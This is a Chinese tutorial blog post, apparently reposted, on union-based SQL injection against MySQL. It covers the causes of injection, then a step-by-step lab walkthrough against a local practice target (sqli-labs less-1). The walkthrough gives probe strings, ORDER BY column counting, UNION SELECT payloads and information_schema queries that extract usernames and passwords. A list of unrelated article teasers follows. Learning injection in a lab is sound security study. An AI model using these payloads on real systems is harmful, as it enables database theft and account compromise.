二、SQL注入之联合查询

news2024/9/28 19:27:53

文章目录

  • 1、SQL注入原理
  • 2、SQL注入的原因
  • 3、SQL注入的危害
  • 4、SQL注入基础
    • 4.1 MySQL相关
    • 4.2 SQL注入流程:
  • 5、联合注入实例基本步骤
  • 6、总结

1、SQL注入原理

  SQL注入(Sql Injection)就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2、SQL注入的原因

  • 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句;
  • 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

3、SQL注入的危害

  • 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。
  • 在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

4、SQL注入基础

4.1 MySQL相关

  在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:

在这里插入图片描述

4.2 SQL注入流程:

  由于关系型数据库,具有明显的库/表/字段/字段内容结构层次,在对SQL注入漏洞的注入过程中获取数据库信息的时候,也可以按照这种顺序:

数据库名 ⟶ \longrightarrow 表名 ⟶ \longrightarrow 字段名 ⟶ \longrightarrow 字段内容

  手工注入流程:

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

(1)判断注入点

  • and 1=1 / and 1=2 回显页面不同(整形判断)
  • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形、字符串类型判断)
  • ’ and ‘1’ = '1 / ’ and ‘1’ = '2 回显页面不同(字符型判断)
  • and sleep(5)(判断页面返回时间,万能)
  • 在SQL语句中,and的优先级比or高。
  • SQL语句注释:# 或者 --[space] 或者 --+

(2) SQL注入分类

  • 根据注入点的数据类型,可分为:
    • 数字型注入
    • 字符型注入

❗️❗️❗️二者最大的区别在于:字符型需要闭合,整型不需要闭合。

  • 根据数据库执行的结果,可分为(四大基本手法):
    • 联合查询
    • 报错注入
    • 布尔盲注
    • 延时注入
  • 根据数据提交的方式,可分为:
    • Get注入
    • Post注入
    • Cookie注入
    • HTTP头部注入
  • 其他注入类型:
    • base64注入
    • 宽字节注入
    • 搜索型注入
    • 读写文件

5、联合注入实例基本步骤

  联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNIONUNION ALL

(1)寻找传参页面,http://xxx.com/index.php?id=1

在这里插入图片描述

(2)判断注入点,127.0.0.1/sqli/less-1/index.php?id=1'

在这里插入图片描述

可以根据报错信息判断:如果是字符型注入,应该闭合什么符号,此处是闭合单引号。

(3)判断字段数量,order by命令,127.0.0.1/sqli/less-1/index.php?id=1’ order by 3 --+

在这里插入图片描述

1后面的‘是为了闭合SQL语句中的引号

(4)判断回显位置,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,3 --+

在这里插入图片描述

(5)查数据库名,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,database() --+

database():查看当前数据库名

(5)表名

  • 查表名:select group_concat(table_name) from information_schema.tables where table_schema='security'
  • information_schema.tables:指定information_schema数据库中的tables表;
  • table_schema字段:保存所有的数据库名;
  • table_name字段:保存所有的表名;
  • group_concat()函数:输出所有属于‘security’数据库的所有表

在这里插入图片描述

(6)字段名

  • 查询字段名:select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

在这里插入图片描述

(7)字段内容

  • 查询字段内容:select group_concat(concat(username,'%23',password)) from security.users

concat()函数:拼接。例如:
concat(‘hello’,‘+’,‘world’) ⟶ \longrightarrow 输出:hello+world

在这里插入图片描述

在这里插入图片描述

6、总结

  sql注入的基本流程:

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/906684.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

鉴源论坛 · 观模丨形式化方法的工业应用:航空领域

作者 | 徐奕龙飞 上海控安可信软件创新研究院系统建模组 版块 | 鉴源论坛 观模 社群 | 添加微信号“TICPShanghai”加入“上海控安51fusa安全社区” 01 摘 要 本文主要探讨了形式化方法在航空领域中的工业应用。航空领域作为安全攸关领域,其机载系统软件的开发…

【Unity 实用工具篇】✨ | 二维像素角色创作工具 2D Pixel Unit Maker

前言【Unity 实用工具篇 】 | 二维像素角色创作工具 2D Pixel Unit Maker一、介绍1.1 相关链接1.2 效果展示二、快速使用方法2.1 导入插件2.2 打开动画场景,完成初始化2.3 配置自己想要的二维像素角色三、导出角色动画序列帧四、导入新项目使用4.1 切割序列帧动画4.2 配置角色…

jvm-虚拟机栈

1.栈的存储单位 栈是运行时单位,而堆是存储的单位 栈解决程序的运行问题,即程序如何执行,或者说如何处理数据。堆解决的是数据存储问题,即数据怎么放,放在哪儿 java虚拟机栈 早期也叫java栈,每个线程在创…

电商数据采集和数据分析

不管是做渠道价格的治理,还是做窜货、假货的打击,都需要品牌对线上数据尽数掌握,准确的数据是驱动服务的关键,所以做好电商数据的采集和分析非常重要。 当线上链接较多,品牌又需要监测线上数据时,单靠人工肯…

华为手机怎么录屏?看这里,小白也能学会

“华为手机怎么录屏呀,新买的华为P30,还没怎么用过,今天看直播的时候突然想录屏,却找不到录屏按钮,我记得是有录屏功能的呀,有人会吗?教教我。” 华为手机作为一款领先的智能手机品牌&#xff…

docker 04(docker 应用部署)

一、部署Mysql 需求: 在Docker容器中部署MySQL,并通过外部mysql客户端操作MySQLServer。 二、部署tomcat 三、部署nginx 四、部署redis

[ MySQL ] — 复合查询和内外连接的使用

目录 复合查询 多表查询 自连接 子查询 单行子查询 多行子查询 多列子查询 在from子句中使用子查询 合并查询 union union all 表的内连接和外连接 内连接 外连接 左外连接 右外连接 复合查询 多表查询 实际开发中往往数据来自不同的表,所以需要多表查…

opencv进阶14-Harris角点检测-cv2.cornerHarris

类似于人的眼睛和大脑,OpenCV可以检测图像的主要特征并将这 些特征提取到所谓的图像描述符中。然后,可以将这些特征作为数据 库,支持基于图像的搜索。此外,我们可以使用关键点将图像拼接起 来,组成更大的图像。&#x…

云上社群系统部分接口设计详解与测试

目录 一、项目简介 1. 使用统一返回格式+全局错误信息定义处理前后端交互时的返回结果 2.使用ControllerAdviceExceptionHandler实现全局异常处理 3.使用拦截器实现用户登录校验 4. 使用MybatisGeneratorConfig生成常的增删改查方法 5. …

SVF——C/C++指针分析/(数据)依赖分析框架

这篇文章包括: SVF介绍SVF源码解读SVF优势与不足如何扩展改进 文章包括一些个人观点,若觉得有误请留言纠正,感谢🙏 在这篇文章之前强烈推荐看我公众号之前推的一篇文章:CG0’2011 “Flow-sensitive pointer analysis f…

追踪工时和控制成本 如何选对工具

研发工作中的工时管理软件是一种用于追踪、记录和分析团队成员在项目中所花费的工作时间的工具。它有助于组织、监控和优化研发项目的进展,确保资源得到有效利用,项目按时完成,并提供数据支持用于决策制定和资源规划。 能够记录团队成员的工…

高忆管理:“降息”了!1年期下调10个基点,5年期为何“按兵不动”?有何影响?

1年期LPR利率年内再度下调,5年期以上LPR利率按兵不动。 8月21日,新一期借款商场报价利率(LPR)公布。其间,1年期借款商场报价利率(LPR)报3.45%,上月为3.55%;5年期以上LPR报…

5种做法实现table表格中的斜线表头效果(HTML+CSS+JS+Canvas+SVG)

table表格,这个东西大家肯定都不陌生,代码中我们时常都能碰到,那么给table加一个斜线的表头有时是很有必要的,但是到底该怎么实现这种效果呢? 我总结了以下几种方法: 1、最最最简单的做法 直接去找公司的…

电脑图纸怎么加密?图纸加密软件有哪些?

对于企业来说,图纸的重要性是不言而喻的,为了避免图纸泄露,我们需要将图纸加密保护。那么电脑图纸该怎么加密呢?下面我们就来看一下。 图纸加密会带来哪些好处? 保护企业利益 为图纸加密可以有效地保护知识产权&…

Openlayers 教程 - 以单位米为半径,绘制圆形图形要素

Openlayers 教程 - 以单位米为半径,绘制圆形图形要素 核心代码完整代码:在线示例 在以往的项目维护中,出现一个问题,使用最新高清底图发现,设置地图最大等级(21级)之后,地图虽然可以…

Steam搬砖项目:最长久稳定的副业!

项目应该大家都有听说话,但是细节问题,如何操作可能有些不是很清楚,今天在这里简单分享一下。 这个Steam搬砖项目主要赚钱汇率差和价值差,是一个细分领取的小项目。 不用引流,时间也是比较自由的,你可以兼…

vue 可拖拽可缩放 vue-draggable-resizable 组件常用总结

特征 没有依赖 使用可拖动,可调整大小或两者兼备定义用于调整大小的句柄限制大小和移动到父元素或自定义选择器将元素捕捉到自定义网格将拖动限制为垂直或水平轴保持纵横比启用触控功能使用自己的样式为句柄提供自己的样式 安装和基本用法 npm install --save vue-d…

【BASH】回顾与知识点梳理(三十七)

【BASH】回顾与知识点梳理 三十七 三十七. 基础系统设定与备份策略37.1 系统基本设定网络设定 (手动设定与 DHCP 自动取得)手动设定 IP 网络参数(nmcli)自动取得 IP 参数(dhcp)修改主机名(hostnamectl) 37.2 日期与时间设定时区的显示与设定时间的调整用 ntpdate 手动网络校时 …

Istio入门体验系列——基于Istio的灰度发布实践

导言:灰度发布是指在项目迭代的过程中用平滑过渡的方式进行发布。灰度发布可以保证整体系统的稳定性,在初始发布的时候就可以发现、调整问题,以保证其影响度。作为Istio体验系列的第一站,本文基于Istio的流量治理机制,…

MyBatis的基本入门及Idea搭建MyBatis坏境且如何实现简单的增删改查(CRUD)---详细介绍

一,MaBatis是什么? 首先是一个开源的Java持久化框架,它可以帮助开发人员简化数据库访问的过程并提供了一种将SQL语句与Java代码进行解耦的方式,使得开发人员可以更加灵活地进行数据库操作。 1.1 Mabatis 受欢迎的点 MyBatis不仅是…